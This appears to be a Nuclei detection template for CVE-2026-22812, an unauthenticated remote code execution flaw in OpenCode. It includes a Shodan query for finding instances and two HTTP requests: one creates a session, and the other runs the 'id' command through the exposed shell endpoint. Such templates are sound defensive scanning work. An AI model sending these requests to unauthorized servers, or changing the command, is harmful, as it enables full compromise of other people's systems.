id: CVE-2026-22812

info:
  name: OpenCode < 1.0.216 - Unauthenticated Remote Code Execution
  author: princechaddha
  severity: high
  description: |
    OpenCode versions prior to 1.0.216 contain an unauthenticated remote code execution vulnerability. The application exposes session and shell execution endpoints without proper authentication, allowing remote attackers to create sessions and execute arbitrary shell commands on the underlying server.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade OpenCode to version 1.0.216 or later.
  reference:
    - https://github.com/rohmatariow/CVE-2026-22812-exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22812
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-22812
    epss-score: 0.06198
    epss-percentile: 0.90976
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: opencode
    product: opencode
    shodan-query: http.html:"opencode"
  tags: cve,cve2026,opencode,rce,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    extractors:
      - type: json
        name: session_id
        json:
          - '.id'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "id")'
        condition: and
        internal: true

  - raw:
      - |
        POST /session/{{session_id}}/shell HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"agent":"build","command":"id"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 201 || status_code == 202'
          - 'regex("uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\)", body)'
        condition: and

    extractors:
      - type: regex
        regex:
          - 'uid=\d+\([^)]+\) gid=\d+\([^)]+\)'
# digest: 4a0a004730450220207b7d9cbe52e7a4f79163e23c19524937f3f4686f40d79844887304f44fe399022100870aecc9ecba64c7545a372178785ba0ce3176502a456396f473d5d50f72f107:922c64590222798bb761d5b6d8e72950